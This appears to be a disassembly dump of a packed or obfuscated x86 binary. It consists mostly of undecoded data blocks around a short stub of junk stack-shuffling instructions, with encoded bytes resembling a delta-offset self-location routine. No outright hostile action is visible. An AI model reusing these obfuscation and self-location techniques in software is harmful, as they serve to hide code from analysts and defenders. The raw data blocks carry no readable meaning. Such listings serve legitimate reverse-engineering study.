		dd 9ABC994h, 3E4BD611h,	7F062446h, 138AAFAEh, 0C1461185h
		dd 61DC1413h, 8BFFD057h, 1223B2C0h, 0E23542D0h,	438B656Eh
		dd 3DC84A9Ah, 9E9667EDh, 2CF4317Ch, 0E84CEDB8h,	9EACDA15h
		dd 73FA4A13h, 0B0A8A3A2h, 7583F704h, 71B31FF0h,	0C4354F68h
		dd 0A098FA73h, 0ED44159Ah, 0D4BEBFE9h, 0F2EAF1F2h, 8400000Fh
		dd 0A8C632FBh, 0C7E55122h, 0E4026E3Fh, 725915Ah, 8645B182h
		dd 20F1763Ah, 420B96B4h, 632CB8D6h, 8152D9F7h, 99641015h
		dd 0D018D75Bh, 56FA0D1Bh, 529400D1h, 0F7EFB844h, 149C6AF1h
		dd 0EE04CF43h, 86D61145h, 78BA2679h, 26CB1B6Fh,	0EDB88AEEh
		dd 0D6111187h, 0C40F626Fh, 10A8D67Bh, 541F1771h, 0B024FC29h
		dd 1468C2E5h, 1B8F9CDCh, 0BAB9820Dh, 6C6B3CC2h,	71261E71h
		dd 1266B2BCh, 918E07D0h, 3AC0C803h, 0C4435Ah, 56920000h
		dd 0E3FFFECFh, 888049D5h, 2D2CFD82h, 11497778h,	3D0E95D6h
		dd 5B2CB3D1h, 32CE375Ch, 5B14F3BEh, 10EDC14h, 45D34A95h
		dd 0E83206D1h, 2D32DA15h, 3D850876h, 1D91E454h,	0B3D220EBh
		dd 95A2DA19h, 0E065739Dh, 5861A30Fh, 330B423h, 0B4850BD0h
		dd 1767BAB5h, 0C7C2C192h, 7344C9CFh, 0BE6A0E1Ch, 232A2BD4h
		dd 0EFDh, 0BB27F079h, 0DA46179Dh, 0F76334BCh, 1A864FD9h
		dd 3AA677FCh, 0E66B2F7Bh, 8BA915h, 21ADCB37h, 47CEEC58h
		dd 59050A76h, 18D6608Eh, 0EF0210D0h, 7C03D156h,	0D6E458ABh
		dd 66888051h, 0FF8C148h, 3FE504F2h, 56B36AAh, 0EDD611FEh
		dd 0DF218DE0h, 0FE8CE2ADh, 5764D611h, 0CF56945Fh, 8007FFFEh
		dd 0E0323BAFh, 5C3AEF3Dh, 523453Dh, 638AC7Dh, 11C3353Bh
		dd 0C48FBDD6h, 0D611C3AEh, 0EEE63946h, 0ECBA4139h, 9A959465h
		dd 147ADB47h, 0C236C23Bh, 0C9505E90h, 0C385EBF8h, 686DD611h
		dd 476F09E0h, 776FC278h, 14B25BB4h, 96C6D3DCh, 98982843h
		dd 36C23BCBh, 7030F7C2h, 0A6B4219Ah, 0AC585021h, 27BA09Fh
		dd 0C6A8D97Eh, 3A8D809Ah, 8B59FBC6h, 0C4D1DF86h, 0EABB4250h
		dd 8D9607Eh, 4D9699B1h,	0C2C9CAD2h, 0E15h, 0A30FD861h
		dd 0C22EFF85h, 0DF4B1CA4h, 26E37C1h, 228E5FE4h,	0CE531763h
		dd 0E87391FDh, 995B31Fh, 2FB6D440h, 41EDF25Eh, 18D17876h
		dd 0D7EAF8D0h, 8AFECF56h, 45678D58h, 20FD611h, 0ACC165B7h
		dd 0FEF621F1h, 1FF92449h, 0E733E0ABh, 0B6C3DC14h, 0FA86FF4Ah
		dd 0C094BB86h, 111EDA17h, 0A4135D12h, 0E0A8DA17h, 0E0A03D7h
		dd 0F0E8F32Fh
		dd 418A1815h, 0CC503FB4h, 5Bh, 24FC291Bh, 814C7EB0h, 0D6114573h
		dd 3BFEF603h, 0DC1492A8h, 93A11522h, 0F7D23E07h, 0D01208FFh
		dd 51C5961Dh, 81E541Fh,	0C9D6D012h, 2726EF79h, 0F412342Ch
		dd 222B9F68h, 7454594Bh, 0EC3BB66h, 8C5DE4F2h, 2D274D18h
		dd 0C2CFD012h, 0D4BB5CAh, 4B590000h, 0A374FAC0h, 298D5850h
		dd 0E5B024FCh, 0DC1AD5C5h, 430C97A1h, 0E76E7CF0h, 58CAA16h
		dd 0D52A4813h, 0BDCAD018h, 5EE8F66Ah, 0C3E89D95h, 0DC33C65Ah
		dd 0B0D2DBFCh, 85B7E95Dh, 18B9B4BAh, 8F58E2D0h,	0D1948C99h
		dd 0DA132848h, 8F58E4EEh, 33BAC83Ch, 51D8F662h,	0C95E945Fh
		dd 0B7C1DA02h, 0B2C35EF4h, 0EE414E44h, 0C553CAEFh, 72FD8651h
		dd 6875D007h, 0CC14EF11h, 2C3334DAh, 0CCDh, 0EB5720A9h
		dd 0A7647CDh, 279364ECh, 4AB67F09h, 6AD6A72Ch, 169B5FABh
		dd 30BBD945h, 51DDFB67h, 77FE1C88h, 89353AA6h, 18D0B0BEh
		dd 1F3240D0h, 11455F99h, 8B1590D6h, 0D4C54C17h,	6471DC1Ah
		dd 2AB0BEF0h, 403D45Ch,	0B8BEB609h, 16D76331h, 38BFAED0h
		dd 8D8CDF56h, 0B5D33F92h, 395E5D2Eh, 0F5C034CCh, 0DA1DDF5Eh
		dd 4874CBD8h, 0A1D4C26Bh, 0C5799A0h, 961F0000h,	0BD4361CDh
		dd 0DA6280ECh, 0F57F9D09h, 1DA2C02Ch, 0D521E04Ch, 4FBB8C11h
		dd 71DDA631h, 92FEC753h, 0B01CED74h, 3E34FFABh,	0B6D018D0h
		dd 0CF5695A8h, 8007FFFEh, 45ADC38Eh, 3845D611h,	94935CE8h
		dd 4F474699h, 1F9F8C9h,	0F1A9A879h, 15A14946h, 0A97EF94Ch
		dd 0E7D51EACh, 0EB605C39h, 0AF000006h, 0B024FC29h, 1AD45FE5h
		dd 960A17DCh, 0C4300188h, 6F855082h, 0ADD018D5h, 515E5425h
		dd 0B3AB7C01h, 565526ADh, 18D557A1h, 936D98D0h,	0DBBF541Fh
		dd 0ABB9DA1Dh, 0B15D5526h, 67174DA4h, 8384D4C2h, 0BB07Ch
		dd 743DC600h, 9364EA08h, 0B0810927h, 0D39C2644h, 0F3C44967h
		dd 0B87CC887h, 0D8F66233h, 0FA18844Dh, 1B39A56Eh, 5257C394h
		dd 0D395DBA6h, 4F5DD018h, 0FECF563Ch, 0AF8007FFh, 6533B8B0h
		dd 140F0EDFh, 45CAC2C1h, 12BD7574h, 1AEF6A15h, 0E7448F1Dh
		dd 4FCF5C39h, 1E000006h, 0E83C2932h, 0DE4BDB33h, 3D35068Eh
		dd 1146707Ah, 6C3471D6h, 0D6D72DF8h, 1321DC1Ah,	18C4BC8Dh
		dd 0B8B7880Eh, 0E8F66ABDh, 0E2249061h, 7E7D4ED4h, 0FE858B83h
		dd 0E0122E2Dh, 18D6DF15h, 928A97D0h, 0E65A265Fh, 1DD8741Bh
		dd 9AF1FEDAh, 0D4C26B5Ah, 2D3DADBh, 7400000Bh, 98B622EBh
		dd 0B7D54112h, 0D4F25E2Fh, 0F715814Ah, 7635A172h, 10E1662Ah
		dd 32FB86A4h, 531CA8C6h, 7142C9E7h, 89540005h, 0D018D26Bh
		dd 56EAFD0Bh, 588AFECFh, 1145678Dh, 7E050FD6h, 60B3AEADh
		dd 34BBB368h, 1D416463h, 0C3BB840Fh, 965DEBE8h,	9D5C39E7h
		dd 59Eh, 2CFC29ECh, 7F5D1E6h, 0F13C1620h, 52B6C00Bh, 0C38E0255h
		dd 0DC1A4DD0h, 0CD93454Ah, 4AD2A482h, 1BB8717Fh, 0A1F401D0h
		dd 45CCDA4Eh, 63EA0874h, 94DE9392h, 0DED01BB8h,	827A4BD0h
		dd 0D64AD64Fh, 3E0F96A4h, 894C443Fh, 0DA1EB6CAh, 0BE085F6Ch
		dd 53D4C3D3h, 0A4F4B52h, 9E270000h, 0C54B69D5h,	0E26A88F4h
		dd 0FD87A511h, 25AAC834h, 0DD29E854h, 57C39419h, 79E5AE39h
		dd 9A06CF5Bh, 0B824F57Ch, 363C07B3h, 0BED018D2h, 0CF569DB0h
		dd 0B1E3FFFEh, 114588E6h, 105B68D6h, 15B150E2h,	161C14E4h
		dd 0C7BFBE8Fh, 7C6F6E3Fh, 833BDD5Ch, 0B0368651h, 7332E0DFh
		dd 7B50CB76h, 1DA4B27Eh, 0A7FAC34Fh, 0C9B5ADA8h, 5C39FB02h
		dd 4D109h, 5A995800h, 95D61145h, 0EA1C9068h, 4587EDB8h
		dd 626FD611h, 0D56BA76Ah, 848DDC1Ah, 0B955D546h, 0DC88809Dh
		dd 0C64D5BCFh, 0E46B89F5h, 0B6EF1413h, 0B8AB76EAh, 34DA1D3Dh
		dd 3C393702h, 0ACB9DA1Dh, 0FDA08B4h, 0DA1D3CE1h, 0DA318491h
		dd 0D4C24986h, 86272E2Fh, 0F0000009h, 14329E67h, 3351BD8Eh
		dd 506EDAABh, 7391FDC6h, 0F2B11DEEh, 8C5DE2A6h,	0AE770220h
		dd 0CF982442h, 0EDBE4563h, 5D07C81h, 0D018DDEFh, 56667987h
		dd 7FFFECFh, 2B0AF80h, 0F9F7C2F4h, 79D61145h, 4572804Bh
		dd 0F502D611h, 0FCCD52A2h, 842C2904h, 7EC02CFDh, 0BD7EAE75h
		dd 0D621A1EAh, 0D105690Ah, 0D4C0B875h, 5C39541Fh, 18616h
		dd 6DF80600h, 0B2AAA5A4h, 0FECF56E7h, 0AF8007FFh, 0F38DF843h
		dd 1FE5717Fh, 0CFCAC99Ah, 8A827D7Ch, 4A7E9560h,	0EEF8DC14h
		dd 46AC7769h, 2ED01240h, 0D7CFCE21h, 0D82B7E4Fh, 24AFBDD9h
		dd 69615C5Bh, 12404CA6h, 1B29F1D0h, 0EFCAC293h,	29F426F2h
		dd 0D01240CBh, 0BAA69EABh, 5A3AE231h, 5EFCh, 52DEEC00h
		dd 978F8A89h, 992432CCh, 1BDED1D0h, 0D8050464h,	8CBFB70Ah
		dd 34058A11h, 1A26DE1h,	0DBDC141Ah, 80BDB7D2h, 0F079C00h
		dd 0B0E25663h, 12138FE5h, 0B6870DD0h, 6BBB3C0h,	12132751h
		dd 0CBD49CD0h, 0D006350Bh, 4DFD79Bh, 82727907h,	9BB95A3Ah
		dd 0A9000000h, 4544159Bh, 5687524Ah, 7FFFECFh, 0FD829082h
		dd 45D11F2Ch, 94A1D611h, 0C34A4241h, 0CED7F3F2h, 0F1096706h
		dd 0BAC0B811h, 1BF66233h, 0D611CBA8h, 84F0C148h, 0C034CC39h
		dd 0C72E858Eh, 0A3A273F8h, 0DCB85DA8h, 0C6D4978Fh, 7EDC16FFh
		dd 6AEFFD71h, 8A0F2D99h, 8B0462B9h, 0C0C1CEBBh,	800B9h
		dd 24ED7600h, 43149AB8h, 6031B9D7h, 834CD6F4h, 0A374F917h
		dd 682C7837h, 88A612E3h, 0AAC834FDh, 0CBE9551Eh, 2077344h
		dd 0DF658B56h, 0FF0DD018h, 0D156ECh, 1EEF7694h,	0CF56CFB2h
		dd 0F67C8AFEh, 5C782D25h, 0F375212Ah, 0A9E7A25Ch, 1121569Ch
		dd 89141ED6h, 73C6C1C0h, 70B66328h, 41390532h, 5AE6B43Bh
		dd 44979291h, 288ABD8h,	29AE0000h, 6D103FCh, 0D61145E8h
		dd 6E7B88h, 0F0D61145h,	3F0893E3h, 7EF24540h, 147434B3h
		dd 0A2A1AEDCh, 126A83EDh, 0C2BF38D0h, 3ACCBF34h, 0F479875Ah
		dd 31292423h, 216F6h, 58994500h, 97D61145h, 0EC1E926Eh
		dd 4581EFBAh, 6471D611h, 0D553A96Ch, 8795DC1Ah,	8B372F00h
		dd 0DD80A7Eh, 0D018D5E7h, 608A828Fh, 8EFACB52h,	4620E970h
		dd 0E03E4D35h, 7EA3A2F5h, 3A057907h, 0DA1D4FC9h, 75DD3441h
		dd 46D4C21Ah, 7073E45h,	0E66F0000h, 0D93B11Dh, 2AB2D03Ch
		dd 45CFED59h, 6DF2107Ch, 2571309Ch, 9F0BDC61h, 0C12DF681h
		dd 0E24E17A3h, 6C3DC4h,	6E844FFBh, 6D018DEh, 2432E5F8h
		dd 8CE2AD9Fh, 64D61145h, 60C0457h, 2C3AAE7Fh, 0DAD5D4A5h
		dd 65705A8Fh, 0F2EA9063h, 0EDBE453Dh, 848140EEh, 188455DCh
		dd 39B9DF14h, 161565Ch,	56A50000h, 0AA7B01CFh, 52DAE357h
		dd 0ABC9940Fh, 4BD611FEh, 0FCF2F33Eh, 0D0C87D75h, 26EF7B49h
		dd 7B89E7B2h, 5C69D611h, 525B9D09h, 9B9F6B90h, 53867E5Fh
		dd 0A8DA4E2Ah, 0D145AB76h, 202DD611h, 0DE2E6528h, 0BBC8DC14h
		dd 0DCED07BCh, 0A62BD012h, 58DED6D5h, 0A908887h, 73F3A39h
		dd 0DB04AFACh, 0B27B0513h, 0E5C0B8B3h, 7E915AE8h, 2F9C5A3Ah
		dd 0EB000000h, 0B024FC29h, 73814C7Eh, 3D61145h,	5021A6F6h
		dd 9B5E5651h, 0DC146818h, 91464552h, 0D0126667h, 0D86663DCh
		dd 5A3AC013h, 0AF1Ah, 0CF566900h, 0F57C8AFEh, 322A2524h
		dd 2F00857Dh, 0E0B13830h, 9162E9E1h, 97494A25h,	5563D611h
		dd 40A02CBh, 0FE40AC7Dh, 6932BECCh, 1117165Ch, 2CD9DED6h
		dd 67D0237Eh, 396C64B7h, 0B7C034CCh, 940E2803h,	719B93C5h
		dd 167D10A6h, 0CF4350DCh, 0F76B3CC1h, 7DF4FAC5h, 6F7CD017h
		dd 0C8C7981Fh, 95B3D5CDh, 76E83F10h, 5BCEBC08h,	593535Ah
		dd 5AE30000h, 81072591h, 9E2644B0h, 0B94361CDh,	0E16684F0h
		dd 99E5A410h, 137F50D5h, 35A16AF5h, 56C28B17h, 74E0B138h
		dd 0FAF8C36Fh, 7AD018D9h, 0D156596Ch, 0EF769400h, 0C9C89921h
		dd 2C0F7BCEh, 0FFFECF56h, 43AF8007h, 3D16h, 26ACBA00h
		dd 56925D55h, 7FFFECFh,	0D0B0AF80h, 0CB29F426h,	0ABD61145h
		dd 0CECBA69Eh, 6BF4F902h, 0F8430C96h, 1F17B470h, 4DC19219h
		dd 0EAE9BA3Fh, 9A996AF2h, 32544C9Fh, 4105h, 24320800h
		dd 8DE3AE98h, 65D61145h, 0B060558h, 0B5860D13h,	0DDAB3341h
		dd 0E3338657h, 96919059h, 3B34E99Eh, 0A5D61145h, 85748A93h
		dd 0EAE9B23Eh, 0AABA4EFh, 0E0DDB8B0h, 5EE3B138h, 40938E8Dh
		dd 0CF56F1D4h, 0A3DAFFFEh, 129661D5h, 52DC1AD5h, 3CC3D145h
		dd 5AE1FF6Bh, 38658A89h, 54DEEC60h, 99918C8Bh, 44A5A46Fh
		dd 0B4C1DA13h, 0DCAD3240h, 0C0EAE2DDh, 63915C8Eh, 13DA0265h
		dd 81080E06h, 9F2644B0h, 0C54C5ACEh, 2FAF5F4h, 2BFD284Dh
		dd 7E616456h, 168ADDECh, 768B04Bh, 26AEBCD0h, 0A4B15D55h
		dd 0CBFFD14Dh, 0C2C9CADAh, 45Dh, 5BC79019h, 7AE6B73Dh
		dd 9703D45Ch, 0BA26EF79h, 0DA46179Ch, 860BCF1Bh, 0A02B49B5h
		dd 0C14D6BD7h, 0E76E8CF8h, 0F9A5AA16h, 18D8C02Eh, 8FA2B0D0h
		dd 92FECF56h, 1D1CED74h, 0CECD9E25h, 0BC646120h, 0FE06735h
		dd 0CB29F410h, 0ABD61145h, 8CF84B9Eh, 39E34388h, 50CA5Ch
		dd 0B1BA0000h, 0C2A4279Dh, 7942CCD9h, 342C7F7Ah, 24FC2969h
		dd 9212E5B0h, 0BFCCDC14h, 0E8B13D4Bh, 0B55A17Ch, 95A3D012h
		dd 3E443C0Dh, 387AE6B7h, 0D7D69F2Ah, 52DEE4DCh,	0B1E31589h
		dd 120B88E6h, 4E5B68D0h, 0D0120B20h, 16CBC3D0h,	3B40Fh
		dd 29321200h, 0C1810A72h, 0CAD0C8EDh, 7B737243h, 0A1AF23F4h
		dd 2F51491Ah, 6BDFB9E4h, 25006E39h, 0E3F0D611h,	0D9F6C1EBh
		dd 59DC142Ah, 42CAD84Ch, 7F777271h, 20DB15CAh, 0E760D012h
		dd 21EC1EEAh, 0D01220D3h, 0B29E96A3h, 5A3A8239h, 41F4h
		dd 324300h, 45ED03CEh, 7885D611h, 1145056Bh, 0E8E0EDD6h
		dd 3CB048B5h, 14684E71h, 1C1B28DCh, 12660D67h, 3C39B2D0h
		dd 7D733E70h, 0F5D01266h, 0CF04F0E8h, 575A3AC0h, 0FDF5BE49h
		dd 0C4C2h, 0CF561100h, 8207FFFEh, 33BAB2B1h, 3E476362h
		dd 0B900D81Fh, 0DD6613Fh, 0C8C0130Eh, 0FE6A3BC2h, 5829AEBCh
		dd 0A3665E59h, 0D611A640h, 3A038E9Ch, 4248403Bh, 3C7EEABBh
		dd 0E0D8A92Eh, 838253DAh, 0E559275Eh, 14BF991Ah, 58C4D1DCh
		dd 9408900Dh, 1500C9C9h, 0EC606DDAh, 2D9059DEh,	0A6F3F2B6h
		dd 97B52174h, 64EA4112h, 71D4BF3Ch, 2B36970h, 3AC30000h
		dd 61E70571h, 7E062490h, 992341ADh, 0C14664D0h,	79C584F0h
		dd 0F35F30B5h, 15814AD5h, 36A26BF7h, 54C09118h,	9AD8A34Fh
		dd 5AD018DAh, 0D156394Ch, 20529400h, 0B0BD8612h, 0D6114542h
		dd 272D2532h, 4D5BCFA0h, 0BB86FAC3h, 0D61145B5h, 1638303Dh
		dd 24FC2933h, 68C2E5B0h, 8F9CDC14h, 0D01EE91Bh,	0A0D01266h
		dd 0EBBC4393h, 6F893EF3h, 0D4D01266h, 1BD05E5Bh, 125A3AC0h
		dd 0AFh, 0FECF5661h, 0B18207FFh, 49FAFDB2h, 931AD611h
		dd 0BB404EC2h, 0B2D0F2EAh, 365B5A2Bh, 0F2BD31CFh, 0DC1448B1h
		dd 0E5309CA9h, 3A6CE0B8h, 0DED6A72Ch, 15FC161Bh, 0D15660DAh
		dd 58AB7C03h, 0FE839105h, 62B0B92Dh, 19E26CD3h,	0F2F42DCEh
		dd 2EE9395Eh, 7ACA1D2Eh, 2B2625EEh, 6EF31133h, 6CB6469Dh
		dd 0D6D7D4BEh, 1CCCFh, 5821AA00h, 7748CEECh, 9465ED0Bh
		dd 0B7800A28h, 0D7A82D4Bh, 9C60AC6Bh, 0BCDA4617h, 0DEFC6831h
		dd 0FF1D8952h, 363BA778h, 0E5B1BF8Ah, 3341D018h, 0DFD15620h
		dd 7D7C45D1h, 457F7582h, 0EAF7D611h, 860D2B97h,	566649B5h
		dd 7FFFECFh, 2543AF80h,	0B2CECD9Eh, 45BFB580h, 2A37D611h
		dd 0FA86FF32h, 0BC465486h, 0A1A071F6h, 595453A6h, 72C59E61h
		dd 10FDC14h, 0E6AEB677h, 0B6905761h, 0B2BF6B63h, 6831BBB3h
		dd 1DE67169h, 0CE9F261Eh, 0D17C7958h, 0D77F7C5Bh, 0C8137F50h
		dd 844FC35Dh, 0DA1762CBh, 3B575663h, 0DED6A72Dh, 0C8051D8h
		dd 0E1C93603h, 1767B1E0h, 12C7BF90h, 5DAD732h, 0DCE90898h
		dd 267F21A6h, 0FB945FD3h, 73D012DFh, 0CBE9F266h, 49E24A16h
		dd 0ED0B2D25h, 9E969566h, 8F1A2812h, 0BFCCC7C6h, 0C41846B1h
		dd 0E3AC3741h, 0ECB54090h, 9D7C9A99h, 0A071F8A0h, 0F5C0F234h
		dd 0C41846FFh, 9067277h, 0B57CF611h, 0CD23EE62h, 0A5C4188Bh
		dd 306DA098h, 5E29F468h, 9ACE1DBCh, 3938018Ch, 8D9A463Eh
		dd 3E0F968Eh, 0F1C2473Fh, 0A86EFAF2h, 5A55541Dh, 0F6FF0807h
		dd 0F9CA51F9h, 36ACFFFAh, 18855A57h, 0A6410C80h, 30C4188Eh
		dd 316CB723h, 8828F367h, 6EC20AFCh, 3393D65h, 8443A38h
		dd 62ADBAF2h, 635B20F4h, 0B3ABAAB7h, 0D1EF5B2Ch, 678D584Ah
		dd 0FF208EEh, 94B0AF02h, 0BF3DF08Bh, 837BCC9Ch,	0CBC15EC0h
		dd 3C399423h, 0D03C0D94h, 5B5A2BB2h, 1110D963h,	6F1714F3h
		dd 0E44D1FE8h, 95AF8E54h, 34C0CE42h, 26716C6Bh,	0EB122A1Dh
		dd 92B4AC14h, 0A81CED74h, 9345AB76h, 202D83CBh,	81794AD0h
		dd 3C5CCh, 54C80000h, 4CD563Dh,	0B5860D05h, 6932BEB6h
		dd 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h,	0EABB433Bh
		dd 9C6DF3EBh
		db 9Dh,	6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	60990E5h
		mov	edx, [esp]
		add	esp, 4
		push	585Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	5597h
		mov	[esp], edx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EE53A458h, 0A245B887h, 0C5030609h, 0BF1FE0FFh, 8BBD32C2h
		dd 0D0802885h, 0D1686D66h, 0DBAA6549h, 0EE1907C9h, 0E1051379h
		dd 0BB932F08h, 849633DCh, 2A113635h, 0A26E671Ch, 84474EDBh
		dd 0F9577981h, 1EC0494Dh, 94ED0B6Ah, 0FD1D47E8h, 0E898089Fh
		dd 7372366Bh, 91DE6A29h, 3D2E6B60h, 0DDDE227Eh,	0A1B24D09h
		dd 0F4FB441Eh, 672D6EC8h, 0CC6C477Dh, 25D814BCh, 85C612D4h
		dd 6031BA1h, 30DF6856h,	0B5FFA9C5h, 6032471h, 7C58858Dh
		dd 0D0FF0606h, 4798D8Dh, 6A510603h, 0B1B5FF40h,	0FF060323h
		dd 30FEDB5h, 0FFD0FF06h, 323B1B5h, 0EDB5FF06h, 0E806030Fh
		dd 11h,	8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h, 835A5A39h
		dd 2CC104EAh, 24C10224h, 14030224h, 241CF724h, 34FFF62Bh
		dd 0F0815816h, 38CAA84Fh, 589EE881h, 0F08171C1h, 0EF999CAh
		dd 32048F50h, 4E02EE83h, 24343B4Eh, 0FFD8850Fh,	9D8DFFFFh
		dd 6030F9Dh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E9C98B18h
		dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 609A40Ch,	3D08428Bh
		dd 78263845h, 138850Fh,	428B0000h, 184A8B0Ch, 0ECBBC8D3h
		dd 3395B3FEh, 4E883C3h,	20A58589h, 588B0603h, 8BF88B04h
		dd 4A8B1042h, 0BEC8D318h, 0C5ABF747h, 0C72BC633h, 83FCE083h
		dd 858904E8h, 6031A65h,	8914428Bh, 3007185h, 18428B06h
		dd 0B0E953h, 0B5FF0000h, 6032D25h, 0B9E9h, 0B1B5FF00h
		dd 0E906031Ah, 0AEh, 2F75B5FFh,	0A3E90603h, 0FF000000h
		dd 3254DB5h, 98E906h, 0B5FF0000h, 6030EA9h, 8DE9h, 7DB5FF00h
		dd 0E9060321h, 82h, 17ADB5FFh, 77E90603h, 0FF000000h, 30C69B5h
		dd 6CE906h, 0B5FF0000h,	6031CA9h, 61E9h, 65B5FF00h, 0E9060317h
		dd 56h,	2021B5FFh, 4BE90603h, 0FF000000h, 32391B5h, 40E906h
		dd 0B5FF0000h, 6030DC1h, 35E9h,	0E1B5FF00h, 0E906030Bh
		dd 2Ah,	575B5FFh, 1FE90603h, 0FF000000h, 31B45B5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 0A46D8D8Dh, 0C8030609h
		dd 95FFE1FFh, 603171Dh,	0A5858B5Bh, 39060320h, 850F0458h
		dd 0Fh,	0FF016A53h, 323A595h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
		dd 0D4C96AB8h, 8BE0FF77h, 325E185h, 5B8D8D06h, 890609A5h
		dd 0C38B0141h, 0A5EA8D8Dh, 58510609h, 6800Fh, 9D890000h
		dd 6032C21h, 20A58D89h,	0C7F50603h, 31A6585h, 612006h
		dd 0F1B50300h, 0C706031Bh, 3007185h, 6,	3CBB6600h, 69B5FFC8h
		dd 6A06030Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 53BDC355h, 27EEB391h, 0FA8B6683h
		dd 171D95FFh, 85890603h, 603033Dh, 95FF006Ah, 60323A5h
		dd 38EBC08Bh, 9C808EBh,	5FBEF60Dh, 604AB7Ch, 39AA88E4h
		dd 0B9E47D0Ah, 7A8B22Dh, 0B5F0F4D8h, 2D3F8968h,	7580E0E8h
		dd 6365829Fh, 9F69EA3h,	5BAE0413h, 828B35FFh, 2B44AD19h
		dd 10E8h, 5D6B2A00h, 0F248A4AFh, 0B50A61DDh, 303F767Ah
		dd 6820FDDh, 89000000h,	32A15BDh, 0BF0F5806h, 0F6C081D8h
		dd 0E900005Eh, 0Fh, 6A789A83h, 0B2F5DA11h, 3104AC40h, 0BA6A7FA1h
		dd 6F82C03h, 146BEA81h,	0D98106F8h, 26E8CAA3h, 0CA8B30FFh
		dd 5DBD895Fh, 81060319h, 0B0BBAFEFh, 6890F74h, 8B000000h
		dd 30F218Dh, 0F0C78106h, 6611E216h, 813C29BEh, 0C2F26F7h
		dd 0DB80577Bh, 8957595Eh, 31C518Dh, 0BE008F06h,	46A61E49h
		dd 8304E883h, 850F01EAh, 0FFFFFFB4h, 0EBF7B70Fh, 8, 18824100h
		dd 504E95Eh, 0D680000h,	0E90609A8h, 0FFF9D741h,	9A87268h
		dd 0D737E906h, 0C968FFF9h, 0E90609A9h, 0FFF9D72Dh, 8BF7C049h
		dd 0AA16E76Dh, 0C733048Ch, 0EA561FA9h, 0A7647CCh, 0B63BFF4Bh
		dd 0D05B79E5h, 0F17D9B07h, 179EBC28h, 29D5DA46h, 18E3105Eh
		dd 60D2E0D0h, 0E30D632Eh, 0D8E5D018h, 0D15615E0h, 0DCE50100h
		dd 0E8CBE8Fh, 31B40DC8h, 0BA1FD783h, 0BF901767h, 0C7CDC5C0h
		dd 0C9FB6F40h, 9BA6CC97h, 414ED611h, 119B3E34h,	0B1A9B6D6h
		dd 3FD9448Fh, 0BB7B00CBh, 0EEFBDC14h, 0BA303AEFh, 0D95ED012h
		dd 89110908h, 4C0BB9B8h, 5870AC4Fh, 0A3F0F7Fh, 18158EB7h
		dd 3A32418Ah, 0E0ABDD5Ah, 0D0129892h, 7B055562h, 0C0B8B3B2h
		dd 2E585h, 0E0677500h, 324C170Fh, 0A6A8AF29h, 0DCD4F6D3h
		dd 0D04DFE93h, 0E09D448h, 28DC1479h, 0F438E523h, 0D72A8625h
		dd 0E64E5A63h, 9F8468C9h, 8D6EC1A7h, 0DED575E5h, 9A65D9A7h
		dd 0DF7CFC71h, 0D1EDECF9h, 6E6D3EC3h, 0DD487B73h, 3BC1CF43h
		dd 7D48726Ah, 0D57FC953h, 4C5ACEDBh, 6A88F4C5h,	0C826F1E3h
		dd 0A8D97FB5h, 67F1489Bh, 7CD824D2h, 331747Bh, 0DA630000h
		dd 187A511h, 1EA6C430h,	39C3E14Dh, 61E60470h, 19652490h
		dd 93FFD055h, 0B521EA75h, 0D6420B97h, 0F46031B8h, 7A7843EFh
		dd 0FAD018EDh, 0FC29D9ECh, 18A2B024h, 0E210DB4Fh, 92D61145h
		dd 98638D85h, 0DC1AEC66h, 4F5DD1DEh, 6F8DF9CAh,	651A19EAh
		dd 0D018E204h, 0D9300188h, 0CEBF8945h, 0CC666D6Eh, 0C8000002h
		dd 0EC0A763Fh, 0B299566h, 2846B283h, 4B69D59Eh,	0CA89F5C6h
		dd 6435BA7Eh, 864FDAF8h, 0A770FC1Ah, 0C5961D3Bh, 0DDA85459h
		dd 0D018ED97h, 293E515Fh, 0D2A027FCh, 29287B4Ch, 9C67DB2Eh
		dd 0DC1AEC6Ah, 21D6D5E2h, 0D018E2D7h, 0A772A46Ch, 0D018E249h
		dd 49241C29h, 4035BE4Ch, 0AF005A30h, 4F000001h,	7A01CF56h
		dd 0C38EAAA9h, 0D61145ADh, 92E53845h, 43149B93h, 6B3CC1CFh
		dd 9F065173h, 8DC28D01h, 25DC144Ah, 0A641918h, 0AFD01240h
		dd 8A53D9E7h, 0AEEDC322h, 5A52A56Eh, 0A8B6827Fh, 14DF531Ch
		dd 0D01229DEh, 0A5918996h, 5A3A8B2Eh, 44E5h, 0FC293400h
		dd 0C2E5B024h, 1EDC1468h, 0BDBC8510h, 111ECAC2h, 66135D12h
		dd 0E0A8D012h, 0CC877ED7h, 322C7740h, 66413989h, 48F9D69h
		dd 49413C3Bh, 3AB0965Dh, 0B17CAE5Ah, 0D0121A43h, 0F32E2633h
		dd 0C0h, 0FECF5642h, 678D588Ah,	0FD61145h, 39550A02h, 0E0D8A12Bh
		dd 858455DAh, 0C135068Dh, 510FB9B8h, 39B2FDC6h,	91463E33h
		dd 0CD411299h, 6D6C35BFh, 7D587A72h, 0D611B15Dh, 0BB27F87Fh
		dd 0F76B3570h, 929162E9h, 0AA759F97h, 0DC17F81Ch, 0C5D34754h
		dd 0E5036F40h, 9A388F60h, 0D7CEBC95h, 175CFD6h,	961F0000h
